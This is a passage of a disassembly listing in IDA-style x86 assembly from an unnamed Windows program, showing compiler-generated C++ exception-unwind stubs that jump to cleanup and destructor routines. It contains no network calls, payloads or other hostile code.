		mov	ecx, [ebp-10h]
		add	ecx, 0E7Fh
		jmp	sub_40206D
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 10C7h
		jmp	sub_40206D
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 130Fh
		jmp	sub_40206D
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1557h
		jmp	sub_40206D

; =============== S U B	R O U T	I N E =======================================



SEH_417020	proc near		; DATA XREF: sub_417020+2o
		mov	eax, offset dword_440788
		jmp	sub_4367C8
SEH_417020	endp

; ---------------------------------------------------------------------------
		db 0D6h	dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A68B:				; DATA XREF: ___:004409F4o
		mov	ecx, [ebp-10h]
		add	ecx, 19h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 47h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 75h
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================



SEH_417540	proc near		; DATA XREF: sub_417540+2o
		mov	eax, offset dword_4409C8
		jmp	sub_4367C8
SEH_417540	endp

; ---------------------------------------------------------------------------
		db 1Ah dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43A6DB:				; DATA XREF: ___:00440A3Co
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0EAh
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================



SEH_4175E0	proc near		; DATA XREF: sub_4175E0+2o
		mov	eax, offset dword_440A10
		jmp	sub_4367C8
SEH_4175E0	endp

; ---------------------------------------------------------------------------
		db 1Bh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8D008h
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43A74E:				; DATA XREF: ___:00440A94o
		mov	ecx, [ebp-10h]
		add	ecx, 8D036h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8D064h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8D092h
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================



SEH_4176B0	proc near		; DATA XREF: sub_4176B0+2o
		mov	eax, offset dword_440A68
		jmp	sub_4367C8
SEH_4176B0	endp

; ---------------------------------------------------------------------------
		db 1Eh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43A7AB:				; DATA XREF: ___:00440ADCo
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCh
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================



SEH_417770	proc near		; DATA XREF: sub_417770+2o
		mov	eax, offset dword_440AB0
		jmp	sub_4367C8
SEH_417770	endp

; ---------------------------------------------------------------------------
		db 19h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43A80B:				; DATA XREF: ___:00440B2Co
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCh
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================



SEH_417830	proc near		; DATA XREF: sub_417830+2o
		mov	eax, offset dword_440B00
		jmp	sub_4367C8
SEH_417830	endp

; ---------------------------------------------------------------------------
		db 19h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================



SEH_4178F0	proc near		; DATA XREF: sub_4178F0+2o
		mov	eax, offset dword_440B50
		jmp	sub_4367C8
SEH_4178F0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================



SEH_417960	proc near		; DATA XREF: sub_417960+2o
		mov	eax, offset dword_440B80
		jmp	sub_4367C8
SEH_417960	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================



SEH_4179D0	proc near		; DATA XREF: sub_4179D0+2o
		mov	eax, offset dword_440BB0
		jmp	sub_4367C8
SEH_4179D0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================



SEH_417A60	proc near		; DATA XREF: sub_417A60+2o
		mov	eax, offset dword_440BE0
		jmp	sub_4367C8
SEH_417A60	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43A8FB:				; DATA XREF: ___:00440C44o
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================



SEH_417B20	proc near		; DATA XREF: sub_417B20+2o
		mov	eax, offset dword_440C18
		jmp	sub_4367C8
SEH_417B20	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A94B:				; DATA XREF: ___:00440C8Co
		mov	ecx, [ebp-10h]
		add	ecx, 19h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 47h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 75h
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================



SEH_417BC0	proc near		; DATA XREF: sub_417BC0+2o
		mov	eax, offset dword_440C60
		jmp	sub_4367C8
SEH_417BC0	endp

; ---------------------------------------------------------------------------
		db 1Ah dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43A99B:				; DATA XREF: ___:00440CD4o
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0EAh
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================



SEH_417C60	proc near		; DATA XREF: sub_417C60+2o
		mov	eax, offset dword_440CA8
		jmp	sub_4367C8
SEH_417C60	endp

; ---------------------------------------------------------------------------
		db 1Bh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8D008h
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43AA0E:				; DATA XREF: ___:00440D2Co
		mov	ecx, [ebp-10h]
		add	ecx, 8D036h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8D064h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8D092h
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================



SEH_417D30	proc near		; DATA XREF: sub_417D30+2o
		mov	eax, offset dword_440D00
		jmp	sub_4367C8
SEH_417D30	endp

; ---------------------------------------------------------------------------
		db 1Eh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43AA6B:				; DATA XREF: ___:00440D74o
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCh
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================



SEH_417E50	proc near		; DATA XREF: sub_417E50+2o
		mov	eax, offset dword_440D48
		jmp	sub_4367C8
SEH_417E50	endp

; ---------------------------------------------------------------------------
		db 19h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCh
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================



SEH_417F10	proc near		; DATA XREF: sub_417F10+2o
		mov	eax, offset dword_440D98
		jmp	sub_4367C8
SEH_417F10	endp

; ---------------------------------------------------------------------------
		db 19h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================



SEH_417FD0	proc near		; DATA XREF: sub_417FD0+2o
		mov	eax, offset dword_440DE8
		jmp	sub_4367C8
SEH_417FD0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================



SEH_418080	proc near		; DATA XREF: sub_418080+2o
		mov	eax, offset dword_440E18
		jmp	sub_4367C8
SEH_418080	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================



SEH_418100	proc near		; DATA XREF: sub_418100+2o
		mov	eax, offset dword_440E48
		jmp	sub_4367C8
SEH_418100	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43AB8B:				; DATA XREF: ___:00440EA4o
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================



SEH_4181B0	proc near		; DATA XREF: sub_4181B0+2o
		mov	eax, offset dword_440E78
		jmp	sub_4367C8
SEH_4181B0	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43ABBB:				; DATA XREF: ___:00440EDCo
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43ABDF:				; DATA XREF: ___:00418292o
		mov	eax, offset dword_440EB0
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1B4h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================



SEH_418490	proc near		; DATA XREF: sub_418490+8o
		mov	eax, offset dword_440EF8
		jmp	sub_4367C8
SEH_418490	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-14h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43AC2B:				; DATA XREF: ___:00440F54o
		mov	eax, [ebp-10h]
		push	eax
		call	sub_4367E2
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



SEH_4190B0	proc near		; DATA XREF: sub_4190B0+2o
		mov	eax, offset dword_440F28
		jmp	sub_4367C8
SEH_4190B0	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	eax, [ebp-10h]
		push	eax
		call	sub_4367E2
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



SEH_419170	proc near		; DATA XREF: sub_419170+2o
		mov	eax, offset dword_440F60
		jmp	sub_4367C8
SEH_419170	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================



SEH_419220	proc near		; DATA XREF: sub_419220+2o
		mov	eax, offset dword_440F90
		jmp	sub_4367C8
SEH_419220	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-274h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AC9B:				; DATA XREF: ___:00440FECo
		lea	ecx, [ebp-28Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================



SEH_4192C0	proc near		; DATA XREF: sub_4192C0+2o
		mov	eax, offset dword_440FC0
		jmp	sub_4367C8
SEH_4192C0	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-820h]
		jmp	sub_40186B
; ---------------------------------------------------------------------------


loc_43ACCB:				; DATA XREF: ___:0041A188o
		mov	eax, offset dword_440FF8
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [ebp-44h]
		and	eax, 1
		test	eax, eax
		jz	locret_43ACF6
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------

locret_43ACF6:				; CODE XREF: ___:0043ACE8j
		retn
; ---------------------------------------------------------------------------


loc_43ACF7:				; DATA XREF: ___:00441054o
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AD07:				; DATA XREF: ___:0041B0F2o
		mov	eax, offset dword_441028
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_402031

; =============== S U B	R O U T	I N E =======================================



SEH_41B400	proc near		; DATA XREF: sub_41B400+2o
		mov	eax, offset dword_441068
		jmp	sub_4367C8
SEH_41B400	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_43AD40	proc near		; DATA XREF: ___:004410C4o
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
sub_43AD40	endp

; ---------------------------------------------------------------------------
		mov	eax, [ebp-40h]
		and	eax, 1
		test	eax, eax
		jz	locret_43AD5E
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------

locret_43AD5E:				; CODE XREF: ___:0043AD50j
		retn
; ---------------------------------------------------------------------------


loc_43AD5F:				; DATA XREF: ___:004410CCo
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================



SEH_41B950	proc near		; DATA XREF: sub_41B950+2o
		mov	eax, offset dword_441098
		jmp	sub_4367C8
SEH_41B950	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================



SEH_41C390	proc near		; DATA XREF: sub_41C390+2o
		mov	eax, offset dword_4410E0
		jmp	sub_4367C8
SEH_41C390	endp

; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-10Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43ADEB:				; DATA XREF: ___:00441164o
		lea	ecx, [ebp-0DCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0ACh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-94h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0C4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-7Ch]
		jmp	sub_4014B0
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-110h]
		push	eax
		call	sub_4367E2
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-110h]
		push	eax
		call	sub_4367E2
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-110h]
		push	eax
		call	sub_4367E2
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-110h]
		push	eax
		call	sub_4367E2
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-110h]
		push	eax
		call	sub_4367E2
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-110h]
		push	eax
		call	sub_4367E2
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



SEH_41C610	proc near		; DATA XREF: sub_41C610+2o
		mov	eax, offset dword_441138
		jmp	sub_4367C8
SEH_41C610	endp

; ---------------------------------------------------------------------------
		db 59h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AF78:				; DATA XREF: ___:0044126Co
		mov	ecx, [ebp-10h]
		add	ecx, 15h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2Ah
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Fh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================



SEH_41D540	proc near		; DATA XREF: sub_41D540+2o
		mov	eax, offset dword_441240
		jmp	sub_4367C8
SEH_41D540	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AFB8:				; DATA XREF: ___:004412B4o
		mov	ecx, [ebp-10h]
		add	ecx, 15h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2Ah
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Fh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================



SEH_41D5D0	proc near		; DATA XREF: sub_41D5D0+2o
		mov	eax, offset dword_441288
		jmp	sub_4367C8
SEH_41D5D0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_402031
; ---------------------------------------------------------------------------


loc_43AFF8:				; DATA XREF: ___:004412FCo
		mov	ecx, [ebp-10h]
		add	ecx, 11h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 26h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Bh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 50h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 65h
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================



SEH_41D670	proc near		; DATA XREF: sub_41D670+2o
		mov	eax, offset dword_4412D0
		jmp	sub_4367C8
SEH_41D670	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_402031
; ---------------------------------------------------------------------------


loc_43B058:				; DATA XREF: ___:00441354o
		mov	ecx, [ebp-10h]
		add	ecx, 11h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 26h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Bh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 50h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 65h
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================



SEH_41D760	proc near		; DATA XREF: sub_41D760+2o
		mov	eax, offset dword_441328
		jmp	sub_4367C8
SEH_41D760	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1158h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1158h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1140h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1158h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1158h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B0F2:				; DATA XREF: sub_41D830+8o
		mov	eax, offset dword_441380
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		db 14h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================



SEH_41E140	proc near		; DATA XREF: sub_41E140+2o
		mov	eax, offset dword_4413D8
		jmp	sub_4367C8
SEH_41E140	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================



SEH_41E400	proc near		; DATA XREF: sub_41E400+2o
		mov	eax, offset dword_441418
		jmp	sub_4367C8
SEH_41E400	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-48h]
		jmp	sub_401816
; ---------------------------------------------------------------------------


loc_43B188:				; DATA XREF: ___:00441494o
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-48h]
		jmp	sub_401253
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================



SEH_41E660	proc near		; DATA XREF: sub_41E660+8o
		mov	eax, offset dword_441468
		jmp	sub_4367C8
SEH_41E660	endp

; ---------------------------------------------------------------------------
		db 26h dup(0CCh)
; ---------------------------------------------------------------------------


loc_43B210:				; DATA XREF: ___:0041EDB5o
		mov	eax, offset dword_4414F8
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-1974h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B22B:				; DATA XREF: ___:00441584o
		lea	ecx, [ebp-195Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1944h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-198Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-18FCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-18B4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-192Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-18CCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1914h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-18E4h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================



SEH_41EF30	proc near		; DATA XREF: sub_41EF30+8o
		mov	eax, offset dword_441558
		jmp	sub_4367C8
SEH_41EF30	endp

; ---------------------------------------------------------------------------
		db 28h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-7Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B2C8:				; DATA XREF: ___:00441604o
		lea	ecx, [ebp-64h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================



SEH_41F860	proc near		; DATA XREF: sub_41F860+2o
		mov	eax, offset dword_4415D8
		jmp	sub_4367C8
SEH_41F860	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-424h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-43Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		dw 8D8Dh
		dd 0FFFFFBB4h, 4183E990h
		db 0C5h, 75h

; =============== S U B	R O U T	I N E =======================================



SEH_4200F0	proc near		; DATA XREF: sub_4200F0+2o
		mov	eax, offset dword_441610
		jmp	sub_4367C8
SEH_4200F0	endp

; ---------------------------------------------------------------------------
		db 14h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-112Ch]
		jmp	sub_401A6E

; =============== S U B	R O U T	I N E =======================================



SEH_420530	proc near		; DATA XREF: sub_420530+8o
		mov	eax, offset dword_441650
		jmp	sub_4367C8
SEH_420530	endp

